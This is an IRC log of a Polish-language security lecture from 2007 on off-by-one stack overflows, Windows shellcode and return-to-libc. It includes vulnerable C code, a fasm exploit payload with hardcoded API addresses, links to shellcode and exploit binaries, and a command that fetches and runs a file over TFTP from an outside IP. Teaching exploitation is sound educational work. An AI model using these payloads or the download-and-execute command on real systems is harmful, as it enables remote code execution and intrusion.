Temat wykladu:
Security: Błędy stack overflow, pisanie exploitów i shellcodów, część II (by fr3m3n, 13.01.2007) @ wyklady.net
Komentarze: http://forum.wyklady.net/index.php?topic=102.0
20:00fr3m3nwitam na drugiej czesci wykladu poswieconego bledom stack overflow i exploitom :)
20:01fr3m3nzakladam, ze rozumiecie pojecia z czesci pierwszej
fr3m3njak kogos nie bylo, log (thx robol za obrobke ;) jest tutaj -> http://robol.uw-host.org/wyklady/fr3m3n_security1.html
Robol;]
20:02fr3m3nwytlumacze do konca czym jest ramka stosu (wiekszosc powiedzialem tydzien temu), zostalo tylko krotkie powiedzenie czym jest instrukcja leave, pozniej offbyone+shellcode ;>
fr3m3n(diabel bardzo prosi zebym napisal ze go pozdrawiam, wiec go pozdrawiam)
20:03fr3m3njak mowilem tydzien temu, ramke stosu stawia sie za pomoca instrukcji:
fr3m3npush ebp
fr3m3nmov ebp,esp
fr3m3ndzieki temu caly czas mamy latwiejszy dostep do argumentow i zmiennych lokalnych
20:04fr3m3npush ebp jest potrzebne, aby zachowac ramke stosu poprzedniej funkcji, przez ktora jestesmy prawdopdoobnie wywolani
fr3m3ndobrze, wiec pozdrawiam wszystkich ;>
20:05fr3m3nwiec, na koncu funkcji trzeba przywrocic poczatkowy adres esp (tak aby adres powrotu byl na [esp])
fr3m3ni poczatkowa zawartosc rejestru ebp
fr3m3nsa to dwie instrukcje:
fr3m3nmov esp,ebp
fr3m3npop ebp
20:06fr3m3njako ze jest to bardzo czesty kod, intel pomyslal o zrobieniu specjalnej instrukcji, ktory robi dokladnie to samo
fr3m3nleave
fr3m3njest to calkowicie rownoznaczne poprzednim dwom :)
fr3m3ndobra, tyle o ramce stosu, teraz blad offbyone
20:07fr3m3nBlad off-by-one polega na jedno bajtowym przepelnieniu zachowanego rejestru ebp z poprzedniej funkcji
fr3m3n(czasami mozemy nadpisac odrazu adres powrotu, albo jakis zachowany rejestr - w pierwszym przypadku
fr3m3njest to bardzo podobne do najprostszego stack overflow z strcpy (czesc 1),
fr3m3n(czesc 1 wykladu)
20:08fr3m3nw drugim polega na analizie kodu, czasami exploitacja nie jest mozliwa, czasami tak...
fr3m3nzajmiemy sie tutaj tylko nadpisaniem rejestru ebp - najbardziej prawdopodobny przypadek
fr3m3nJak juz powiedzialem wczesniej, funkcja ma obowiazek zachowac rejestr ebp (jesli go zmienia)
20:09fr3m3n(Zachowanie odbywa sie poprzez push na stos przy starcie funkcji, i pop na koncu)
fr3m3ndobrze, zobaczmy teraz podatny kod:
fr3m3nvoid offbyone(char *tekst){
fr3m3nchar bufor[512];
fr3m3nfor(int i=0;i<=sizeof(bufor);++i){
fr3m3nbufor[i]=tekst[i];
fr3m3nif(tekst[i]==0) break;
fr3m3n}
fr3m3n}
20:10fr3m3nWidzimy tutaj blad logiczny - wbrew pozorom dosc czesty
fr3m3nzamiast instrukcji
fr3m3ni<sizeof(bufor)
fr3m3nmamy instrukcje
fr3m3ni<=sizeof(bufor)
20:11fr3m3nmoze to spowodowac zapisanie bajtu w bufor[512] - co bardzo czesto okaze sie najmniej znaczacym bajtem
fr3m3nramki stosu (0xAABBCCDD - DD to najmniej znaczace bajty)
fr3m3njak wyglada exploitacja takiego bledu?
fr3m3n: nadpisujemy ostatni bajt ebp, tak aby wskazywal na jakies miejsce w buforze
fr3m3nNajczesciej jest to obszar tuz przed zachowanym ebp
fr3m3ndlaczego?
fr3m3nInstrukcje tuz przed wystapieniem bledu segmentation fault (albo wykonaniem naszego shellcodu ;>) wyglada tak:
20:12fr3m3nwygladaja*
fr3m3nleave
fr3m3nret
fr3m3nWpisujemy wiec nasz bufor tak, ze koniec buforu to adres ebp zachowanego na stosie,a zachowany ebp wskazuje na adres konca bufora w naszym buforze
fr3m3nDlaczego w ten sposob?
20:13fr3m3nPamiec wyglada w tej chwili tak:
fr3m3n(zakladajac, ze nadpisalismy ebp tak, ze ebp na stosie=adres 'koniec buforu+4'):
fr3m3n;ebp=koniec buforu-4
fr3m3n0x00: ZACHOWANY EBP
fr3m3n0x04: KONIEC BUFORU ;czyli adres naszego shellcodu
fr3m3n0x08: KONIEC BUFORU+4
fr3m3n...
fr3m3n;adresy sa oczywiscie przykladowe
20:14fr3m3nleave zrobi wiec nastepujaca rzecz:
fr3m3nesp zostanie ustawiony na ebp (czyli adres 'koniec buforu+4')
fr3m3n4 bajty znajdujace sie na pozycji 'koniec buforu+4' zostana przypisane do rejestru ebp
fr3m3n(nie obchodzi nas to specjalnie)
fr3m3nprzy ret zostanie wykonany skok do adresu wskazywanego przez 'KONIEC BUFORU'
20:15fr3m3nktory powinien byc adresem naszego shellcode ;>
fr3m3n(co to shellcode - za dluzsza chwile, choc wiekszosc pewnie juz wie ;)
fr3m3nPowyzszy schemat zadziala w przypadku bledu slupka w plocie (tak rowniez jest nazywany off-by-one)
20:16fr3m3nw przypadku funkcji np. kopiujacych pamiec
fr3m3nnie zadziala za to w przypadku bledu przy stringu - adres na 99,99% bedzie mial w sobie zero
fr3m3n(oczywiscie, zalezy to od wielu czynnikow, system, itd)
fr3m3nco zakonczy kopiowanie i uniemozliwi nadpisanie ebp
20:17fr3m3npowyzszy schemat trzeba nieco zmodyfikowac, zajmiemy sie tym za chwile
20:18fr3m3npytania jakies?
fr3m3nchyba nie
fr3m3nw adresie potrzebujemy zera. skad je jednak wziasc?
20:19fr3m3n1. wskazujemy ebp na drugi bufor, wprowadzony w innym miejscu programu - wtedy nie ma zadnych problemow
fr3m3n2. uzyc adresu ktory juz gdzies jest - wtedy tym bardziej nie ma zadnych problemow ;>
fr3m3n(jak mozna zauwazyc, jest to tak naprawde bardzo podobne)
fr3m3nPotrzebujemy adresu naszego buforu... chwila myslenia...
20:20fr3m3nno jasne! adres buforu jest argumentem naszej funkcji
fr3m3nmusi wiec byc gdzies blisko na stosie ;>
fr3m3n
fr3m3njak widac na obrazku (prawy dol), adresy sa nastepujace:
fr3m3n(prawy dol to stos)
fr3m3nzachowany ebp = 0x0012FF6c
20:21fr3m3nargument = 0x0012FF64
fr3m3nOstatnim bajtem naszego 513 bajtowego kodu do przepelnienia musi wiec byc 0x60
fr3m3n(dlaczego? z adresu 0x0012FF60 zostanie sciagniety ebp, a pozniej nastapi ret, juz do adresu 0x0012FF64)
20:22fr3m3nret - powrot ;>
fr3m3ndo bufora ladujemy shellcode, pozniej cokolwiek, a na koncu 0x60
fr3m3ni blad off-by-one exploitniety ;>
20:23fr3m3nJeszcze mala uwaga na koniec - czasami blad off-by-one objawia sie poprzez off-by-one jedynie bajtem 0
fr3m3nnp. przy zlym uzyciu funkcji strncat
fr3m3nmozna wtedy:
fr3m3na. wykorzystac technike return-to-libc (wykonywanie funkcji systemowych - o tym powiem pozniej) dla adresow nie zawierajacych zera;
fr3m3n(wlasciwie to funkcji po prostu gdzies juz obecnej)
fr3m3nb. w przypadku, gdy funkcja rodzica korzysta jeszcze z ramki stosu do swoich zmiennych lokalnych,
fr3m3nczesto mozna spowodowac blad np. w pobieraniu danych, czy manipulacja nich, ktory zaowocuje wykonaniem naszego kodu
20:24fr3m3nc. czasem jedyne co mozna zrobic, to zwiesic program
fr3m3nteraz pytania, a za chwile wstrzykniemy shellcode
fr3m3nnie ma pewnie? :>
[Ocbhmm
aLuCaRd14_PLpytanie .. o czym ty gadasz xD
20:25[OcbaLuCaRd14_PL explit ?
[Ocbexploit *
fr3m3nto sa bledy przepelnienia stosu, zobacz czesc 1 dla wstepu
adam_imozan by dodac ze pod linuxem adresy buforu itp bardzo rzadko maja jakies 0 w adresie
fr3m3ni ogolnie, assembler ;>
aLuCaRd14_PLA
fr3m3nnom
fr3m3nnapisalem ze zalezy od systemu itd
fr3m3nok
[OcbOBSD
fr3m3nobsd to inna bajka ;:
fr3m3n;>
fr3m3nok
fr3m3ntfu
20:26fr3m3ntutaj caly kod programu z bledem:
fr3m3nhttp://fr3m3n.wyklady.net/w_cz2/offbyone.c
fr3m3ntutaj plik .exe:
fr3m3nhttp://fr3m3n.wyklady.net/w_cz2/offbyone.exe
fr3m3nnasz shellcode sciagnie nam 1,5 kB plik exe - payload.exe
20:27fr3m3njedyne co ten plik robi, to wyswietla msgbox z wiadomoscia ze sie uruchomil :)
fr3m3nzrodlo tu:
fr3m3nhttp://fr3m3n.wyklady.net/w_cz2/payload.asm
fr3m3n(rownie dobrze mozna to napisac w c)
fr3m3na exe tu:
fr3m3nhttp://fr3m3n.wyklady.net/w_cz2/payload.exe
20:28fr3m3npadlo pytanie, co robi program offbyone.c
fr3m3nkopiuje on pierwszy argument do bufora
fr3m3nw petli z bledem slupka w plocie
20:29fr3m3nczyli skopiuje nam o bajt za duzo
fr3m3nc:\program argument
fr3m3nargument to ten argument ;p
fr3m3nok, zajmiemy sie teraz shellcode
fr3m3nShellcode jest to nazwa specjalnego kodu, 'wstrzykiwanego' programowi z bledem
fr3m3npierwotnie oznaczal on kod, ktory uruchomi nam shell z prawami programu
20:30fr3m3n(glownie chodzilo o unixowe programy z suidem)
fr3m3ndzis oznacza po prostu kod uzywany do exploitow (moze robic duzo innych rzeczy)
fr3m3nkod uzywany jako shellcode musi posiadac kilka cech:
20:31fr3m3n1. nie moze opierac sie na adresach absolutnych; moze byc umieszczony pod kazdym adresem w pamieci
20:32fr3m3noznacza to ze mozna uzywac jedynie adresow relatywnych, (tzn odleglosci miedzy instrukcjami) albo 'naprawiac' adresy
fr3m3nnaprawiac - tzn pobieramy eip (czyli aktualny adres 'gdzie jestesmy') przy pomocy calla
20:33fr3m3npozniej wykorzystujac adres dodajemy go do adresow np. jakichs funkcji
fr3m3n(jest to w ten sposob zrobione w moim shellcode, za chwile pokaze kod)
fr3m3n2. nie powinien zawierac bajtu 0 - shellcode bardzo czesto jest skladowany jako string
fr3m3nwiec bajt 0 zakonczy wprowadzanie, co uniemozliwilo by exploitacje
fr3m3n3. nie powinien tez zawierac bajtow kontrolnych - szczegolnie spacji (0x20), tab (9), znaku nowej linii (0x0A)
20:34fr3m3nspacja i tab - w przypadku bledu w pobieraniu argumentow
fr3m3nznak nowej linii tez tutaj, ale takze funkcje scanf, fgets, itd
fr3m3nznaki takie jak CR (0x0D) i backspace (8) rowniez sa niewskazane
fr3m3nsa to pewne ograniczenia - ale latwo sobie z nimi poradzic, starczy po nie uzywawc niektorych opcodow
20:35fr3m3n(np. mov reg32,[ebp]) itd...
fr3m3n(powyzsza instrukcja bedzie zawierala 0)
fr3m3ntutaj koncza sie cechy wspolne kazdego shellcode - reszta zalezy od systemu
20:36fr3m3nna systemach *nix mamy latwiutko - mamy przerwanie int 0x80, do tego mamy pelnoprawny shell z takimi komendami jak wget itd...
fr3m3n(w cmd da sie sciagac i zrobic wszystko z systemem, ale jest troche trudniej - mniej mozliwosci)
fr3m3n(przynajmniej w standardowej instalacji)
fr3m3nna systemach windows musimy znalezc adresy funkcji winapi, gdyz na windowsach nie istnieje odpowiednik int 0x80
fr3m3n(istnieja oczywiscie przerwania systemowe /tzw. native api/ takie jak np. 0x2E - ale numery funkcji zmienaja sie z kazdym systemem)
20:37fr3m3nwie nie mozna sie na tym opierac - chyba ze znamy dokladna wersje systemu
fr3m3nktory sobie upatrzylismy na atak ;>
fr3m3n(w int 0x2e afair tylko pierwsza funkcja jest ta sama w wszystkich windowsach)
fr3m3nmamy wiec dwie opcje:
20:38fr3m3n1. znalezc adresy funkcji winapi dla danego systemu i zakodowac je 'na chama' w shellcodzie
fr3m3ntzw. hardcoded
fr3m3nhardcoded addresses*
fr3m3npowstaly kod bedzie wtedy dzialal tylko pod jednym systemem
fr3m3n(mozna tez uzywac przerwan, ale wtedy kod bedzie wiekszy)
fr3m3n2. dynamicznie szukac adresow api :)
fr3m3n(funkcja winapi - to np. MessageBox)
20:39fr3m3nsa one zawarte glownie w plikach dll
fr3m3npo zaladowaniu pliku dll funkcaj staje sie dostepna pod jakims adresem... i ten wlasnie adres trzeba znalezc
20:40fr3m3ndruga metoda jest oczywiscie o wiele lepsza... jest niestety dosc duza - zajmuje ok. 150 bajtow w kodzie
fr3m3n(czyli szukania dynamicznie adresow)
fr3m3nczasami jest to problem, wtedy stosuje sie inne techniki
fr3m3naby znalezc adresy api, najpierw trzeba znalezc adres kernel32.dll w pamieci
20:41fr3m3n(jak ktos nie jest zainteresowany jak sie tworzy shellcode pod windows, moze na 5 minut odejsc od komputera)
fr3m3nrobi sie to jedna z trzech metod (PEB, SEH i TOPSTACK)
fr3m3nPEB to skrot od Process Environment Block, taka wewnetrzna struktura windows, ma ja kazdy proces
20:42fr3m3nmozna sie do niej dostac korzystajac z innej struktury - tzw. Thread Environment Block - ktory z kolei zawszeznajduje sie na fs:0
fr3m3nSEH to skrot od Secure Exception Handling, pozwala 'wylapac' blad (np. seg fault) i zrobic z nim cos
fr3m3ntaki odpowiednik syganlow z unixa
fr3m3ndizeki temu jak np. internet explorer 'zlapie' jakis blad, program nam sie nie wywali
20:43fr3m3ntylko ie powie nam ze ma jakies problemy i ze powinien zostac zrestartowany
fr3m3nTOPSTACK jest to metoda wyszukujaca adres kernel32.dll zdejmujac adres powrotu z stosu i szukajac kernela 'w okolicy'
fr3m3nprogram jest uruchamiany przez call z kernel32.dll
fr3m3nwiec po starcie programu
fr3m3nw [esp] jest adres powrotu - ten adres jest gdzies w srodku kernel32.dll
fr3m3nw moim shellcodzie uzylem metody PEB - jest imho najlepsza
20:44fr3m3nzadziala zawsze, chyba ze ktos specjalnie podmienil wartosci
fr3m3ni jest najszybsza
fr3m3nmetoda SEH dziala podobnie jak metoda TOPSTACK, z tym ze pobiera adres ostatniego handlera bledow
fr3m3nktory takze znajduje sie w kernel32.dll
fr3m3n(handler bledow to funkcja, wywolywana przy bledzie np. segmentation fault
20:45fr3m3nfunkcji moze byc kilka, kazda z nich po zapoznaniu sie z bledem 'decyduje' czy 'radzi' sobie z nim, czy oddaje kontrole nastepnej
fr3m3ntaka lista funckji
fr3m3nostatnia funkcja znajduje sie w kernel32.dll, i to ona jest odpowiedzialna za wyswietlenie tego okienka o bledzie
fr3m3n)
fr3m3nmetoda PEB po prostu pobiera adres kernel32.dll z struktury PEB
20:46fr3m3n(wszystkie trzy metody dzialaja na windowsach od 95 do XP... Vista zdaje sie tez, ale nie jestem pewien)
fr3m3nJak juz mamy adres kernel32.dll, szukamy w nim adresow funkcji w tzw. export table
fr3m3nwiecej informacji mozna znalezc w google pod haslem 'PE Export Table' 'Secure Exception Handling' 'Process Environment Block' itd...
fr3m3nMoj shellcode pobiera plik z adresu i uruchamia go (uzywajac funkcji system() )
20:47fr3m3n(funkcja system() ma pewna wade, otwiera okno konsoli... jesli 0,1 sekundowe migniecie konsoli nam nie przeszkadza, mozna to tak zostawic. jesli ktos chce 'czystej' akcji, mozna uzyc CreateProcess - jednak shellcode bedzie grubszy o ok. 20 bajtow)
fr3m3n(opis winapi, export table, czym jest dll itd mozna takze znalezc w moim wykladzie o winapi sprzed jakiegos roku -> http://wyklady.net/logs/fr3m3n_assm1.htm ) ;>
20:48fr3m3nhttp://fr3m3n.wyklady.net/w_cz2/shellcode.asm
fr3m3nto jest kod shellcode
20:49fr3m3nshellcode spelnia wszystkie wymagania podane wyzej (brak nulla, itd)
fr3m3n(w nieco czytelniejszej (?) formie jest tu -> http://fr3m3n.wyklady.net/index.php?i=2 )
fr3m3nma w dodatku taka zalete, ze adres mozna dowolnie zmieniac, bez potrzeby rekompilacji - program sam znajdzie gdzie sie konczy adres, i gdzie jest nazwa pliku
20:50fr3m3nadres pliku do sciagniecia
fr3m3n(plik zostanie zapisany pod taka sama nazwa, jaka ma na serwerze)
fr3m3ndobrze, omowilem juz co to shellcode, mozna wiec uzyc go do exploitacji :>
fr3m3nhttp://fr3m3n.wyklady.net/w_cz2/run.c
fr3m3nkod w C exploitera
fr3m3nhttp://fr3m3n.wyklady.net/w_cz2/run.exe
fr3m3na to plik exe ;>
20:51fr3m3nrun.exe musi byc uruchomiony w tym samym katalogu co plik offbyone.exe
fr3m3npoda mu argument o jeden bajt za duzo - co spowoduje nadpisanie ebp, i w rezultacie uruchomienie shellcodu
20:52fr3m3npo uruchomieniu run.exe powinnismy zobaczyc nieszkodliwy msgbox :)
fr3m3nsciagniety z strony
fr3m3n(czyli plik payload.exe)
fr3m3njest to gotowy exploit wykorzystujacy blad off-by-one
20:53fr3m3nza chwile zajmiemy sie technika return-to-libc, czyli co zrobic w przypadku, gdy stos nie jest wykonywalny
fr3m3n(bit n/x na nowszych procesorach, PaX, W^X, itd)
fr3m3nco oznacza, ze shellcode w buforze (ktory jest przeciez na stosie) nie bedzie mogl zostac uruchomiony
fr3m3nproba uruchomienia spowoduje tylko blad
fr3m3nok
20:54fr3m3npytania?
Rucciotak kiedy bedzie
coyotepozniej :)
nemessicafr3m3n: ufff;)
nemessicapogadamy potem;)
fr3m3nRuccio
fr3m3nkiedy bedzie co?
ant_fr3m3n: pytania 2
ant_1) kiedy bedzie log bo sie spoznilem
ant_2) to juz koniec?
fr3m3njakies 5-10 minut po wykladzie
fr3m3nnie
ant_super
20:55fr3m3n<fr3m3n> za chwile zajmiemy sie technika return-to-libc, czyli co zrobic w przypadku, gdy stos nie jest wykonywalny
fr3m3n;>
fr3m3ntyle pytan?
ant_duzo jeszcze zostalo?
nemessicachyba jop;]
fr3m3nreturn-to-libc i tyle
ant_to podstawy sa?
fr3m3nmyslaelm o format string ale to wlasiwie temat na caly wyklad
fr3m3ntak
fr3m3na nie?
ant_czy cos jeszcze dajesz
ant_aaa ;)
fr3m3nok
ant_ok
20:56fr3m3nco to jest return-to-libc?
fr3m3nJest to technika polegajaca na podawaniu adresow funkcji juz istniejacych w danym srodowisku
fr3m3nnp. funkcji danego programu, czy tez api danego systemu (libc, winapi,...)
fr3m3nWywolanie funkcji runme() z czesci 1 wykladu bylo tak naprawde atakiem return-to-libc :)
fr3m3njednak dosc prostym i malo uzytecznym
20:57fr3m3nreturn-to-libc czesto polega na tworzeniu 'lancuszkow' polecen
fr3m3nnp.
fr3m3nsciagnij plik -> uruchom plik -> zakoncz sie normalnie (zeby nie bylo brzydkiego wpisu w logach)
fr3m3nnaprawde bedzie (czy raczej - moze) to wygladac tak:
fr3m3nhuh, zapomnialem zrobic screena
20:58fr3m3nno nic
fr3m3n$ = esp = 0x0012ff70)
fr3m3n$ ADRES POWROTU ;adres funkcji system()
fr3m3n$+4 adres exit
fr3m3n$+8 adres stringa "tftp -i 62.233.194.195 GET p p.exe && p"
fr3m3n$+16 tu string, musi byc powyzej esp
fr3m3nmamy funkcje z prostym bledem stack overflow - np. taka z strcpy, czy gets
fr3m3nhttp://fr3m3n.yoyo.pl/w_cz2/returntolibc.c
fr3m3nhttp://fr3m3n.yoyo.pl/w_cz2/returntolibc.exe
20:59fr3m3nwidzimy tu dwa wywolania funkcji gets - funkcja gets pobiera tyle bajtow 'ile wlezie' pojecia takie jak rozmiar bufora sa dla niej obce
fr3m3nco bardoz czesto prowadzi do stack overflow
21:00fr3m3n#include <stdio.h>
fr3m3nint main(void){
fr3m3nchar bufor[512];
fr3m3ngets(bufor);
fr3m3ngets(bufor);
fr3m3nreturn 0;
fr3m3n}
fr3m3n(gets jest dwa razy, inaczej exploiting bylby dosc skomplikowany, a chodzi przeciez o pokazanie czym jest dana rzecz)
21:01fr3m3nten program pobiera z linii komend dwa stringi
21:02fr3m3njesli jeden string bedize dluzszy niz 511 znakow (+null) to nadpisze nam ebp, adres powrotu, itd
fr3m3nogolnie, mozemy nadpsiac caly stos
fr3m3n(tutaj jest identycznie jak w cz. 1 z strcpy)
fr3m3nmamy jednak problem - stos jest niewykonywalny
fr3m3nnie mozemy wiec wrzucic shellcode i uruchomic go
21:03fr3m3nza to mozemy uruchomic dowolny kod, znajdujacy sie w danej chwili w programie/cyz tez zaladowanym api
fr3m3nkazda funkcja winapi ma swoj adres - jak kazda inna funkcja :)
21:04fr3m3nten program automatycznie ma zaladowany kernel32.dll, user32.dll, gdi32.dll i crtdll.dll
fr3m3ncrtdll ma interesujaca funkcje - system, ktory pozwala nam w jednym argumencie uruchomic jakis inny program
fr3m3nnp. taki, ktory cos sciagnie ;>
21:05fr3m3ntutaj jest jednak problem z przenosnioscia - na kazdym windowsie adresy api sa (zazwyczaj) inne
fr3m3nmusimy wiec znac wersje systemu, ew. probowac wszystkich mozliwych adresow ;>
fr3m3nhttp://fr3m3n.yoyo.pl/w_cz2/getapi.c
21:06fr3m3nhttp://fr3m3n.yoyo.pl/w_cz2/getapi.exe
fr3m3njest to program do pobierania adresow funkcji api w danym w systemie
fr3m3npo uruchomieniu, pyta sie nas o dllke i nazwe funkcji
fr3m3npodajemy odpowiednio: crtdll.dll
fr3m3ni
fr3m3nsystem
fr3m3nu mnie wyglada to tak:
21:07fr3m3n
D:\wyklad_cz2>getapi
fr3m3n
Podaj dll
fr3m3n
crtdll.dll
fr3m3n
Podaj funkcje
fr3m3n
system
fr3m3n
Base address crtdll.dll to: 0x77630000, a adres funkcji system to 0x7763f9aa
fr3m3npotrzebna nam bedzie jeszcze jedna funkcja - exit (zeby progam zakonczyl sie bez bledu i nie brzydkiego wpisu w logach)
21:08fr3m3n
D:\wyklad_cz2>getapi
fr3m3n
Podaj dll
fr3m3n
crtdll.dll
fr3m3n
Podaj funkcje
fr3m3n
exit
fr3m3n
Base address crtdll.dll to: 0x77630000, a adres funkcji exit to 0x77631f60
21:09fr3m3nmusimy wiec naruszysc stos tak, aby najpierw wykonal sie system("program"), a pozniej exit
fr3m3nfunkcja main w chwili powrotu wyglada tak:
21:10fr3m3n($ = esp = 0x0012ff70)
fr3m3n$ ADRES POWROTU
fr3m3n$+4 jakies inne dane...
fr3m3n$-4 - zachowany ebp
fr3m3n$-8 koniec bufora
21:11fr3m3nmusi to wygladac tak:
fr3m3n($ = esp = 0x0012ff70)
fr3m3n$ ADRES POWROTU ;adres funkcji system()
fr3m3n$+4 adres exit
fr3m3n$+8 adres stringa "tftp -i 62.233.194.195 GET p p.exe && p"
fr3m3n$+16 tu string, musi byc powyzej esp
fr3m3nbedzie to wygladac tak:
fr3m3nret w main 'powraca' do funkcji system
21:12fr3m3nadresem 'powrotnym' z funkcji system jest funkcja 'exit'
fr3m3nwiec, pod koniec funkcji system() nastapi ret, ktory uruchomi funkcje exit i zakonczy program ;>
fr3m3nna $+8 (czyli esp w chwili ret w main + 8) musi byc argument dla funkcji system
21:13fr3m3nfunkcja system przyjmuje jeden argument, jest to adres stringa z poleceniem
fr3m3nten string musi byc umieszczony powyzej stosu - jesli bedize ponizej (np. w buforze) zostanie on nadpisany zmiennymi loklanymi funkcji system()
fr3m3ni program nam sie nie uruchomi
21:14fr3m3nprogram tftp jest standardowo w kazdym windowsie (chyba ;)
fr3m3njest to protokol Trivial Ftp - nie ma zadnego logowania, jest tylko sciaganie plikow
21:15fr3m3nten ip 62.233.194.195 jest moj, mam w tej chwili uruchomiony serwer tftp, mozna sciagnac plik :d
fr3m3nplik 'p' to po prostu plik 'payload.exe' ktory sciagal nam nasz shellcode
fr3m3npo pomyslnym sciagnieciu pliku, zostanie on uruchomiony
fr3m3nmozemy wiec zbudowac plik, ktory posluzy nam jako exploit:
21:16fr3m3nhttp://fr3m3n.wyklady.net/w_cz2/exploit.asm
fr3m3nhttp://fr3m3n.wyklady.net/w_cz2/exploit.bin
fr3m3njest to fasm - mozna go sciagnac z http://flatassembler.org
fr3m3npowyzszy plik mozna oczywiscie zbudowac na wiele sposobow, imho assembler jest najlatwiejszym
21:17fr3m3nexploiting bedzie wygladal tak:
fr3m3nreturntolibc < exploit.bin
fr3m3njesli adresy funicji sie zgadzaja, progam zostanie zakonczony bez bledow, plik p.exe sciagniety i uruchomiony
fr3m3njesli ktos ma akurat windows nt sp6, moze uzyc plik exploit.bin
21:18fr3m3njesli nie, musi zmienic adresy funkcji na te w swoim systemie
fr3m3n(mozna je uzyskac z programu getapi)
fr3m3nmozna do zmiany uzyc assemblera (fasm), ale mozna tez zwyklym hexedytorem - trzeba tylko w pliku exploit.bin zlokalizowac adresy
21:19fr3m3n;1 gets
fr3m3nrepeat 512+5*4
fr3m3ndb 'b' ;bufor
fr3m3nend repeat
fr3m3ndb "tftp -i 62.233.194.195 GET p p.exe && p"
fr3m3ndb 0x0a
fr3m3numiesci nam to string z poleceniem na adresie esp (w chwili powrotu) + 16
fr3m3nczyli w bezpiecznym rejonie, nie grozi nam zadne nadpisanie zmiennymi lokalnymi
21:20fr3m3n;2 gets
fr3m3nrepeat 512+4
fr3m3ndb 'b' ;bufor + ebp
fr3m3nend repeat
fr3m3ndd 0x7763f9aa ;system
fr3m3ndd 0x77f1a15d ;exit
fr3m3ndd 0x0012Ff80 ;adres polecenia
fr3m3na to ustawi nam adresy funkcji i adres bufora
fr3m3ndlaczego trzeba to robic w dwoch turach? adres polecenia ma w sobie zero, co konczy wczytywanie przez gets
fr3m3nmozna sobie poradzic bez tego (korzystajac z argumentow np.) ale jest to bardziej skomplikowane
21:21fr3m3njakies pytania na koniec?
[Ocbprawie jak na studiach
[Ocb1.5h wyklad
21:22fr3m3nshit, zapomnialem o --wyklad-- i ==wyklad==
radekNo, ej, dokladnie jak na studiach. Nic nie zrozumialem.
Robole tam, poradze sobie ;]
[Ocbno ja na wyklady nie chodze
[Ocbale jby mowili na studiach o exploitachi shellcodach
nemessicaale marudzicie;)
[Ocbto moge chodzic
21:23fr3m3nzobaczcie czesc pierwsza, tam sa podstawy wyjasnione
fr3m3nhttp://robol.uw-host.org/wyklady/fr3m3n_security1.html
[Ocbfr3m3n na ircnecie tez sa wyklady ?
[Ocbczy tylko tutaj ?
fr3m3ntylko tutaj afair
nemessicazapytaj na ircnetcie
fr3m3nhttp://fr3m3n.wyklady.net/wyklad/log_czesc1.txt - tutaj wersja bez kolorkow, ale podobno powyzszy adres niektorym nie dziala
[Ocbno to pytam
fr3m3ndobra
fr3m3ntutaj koniec:D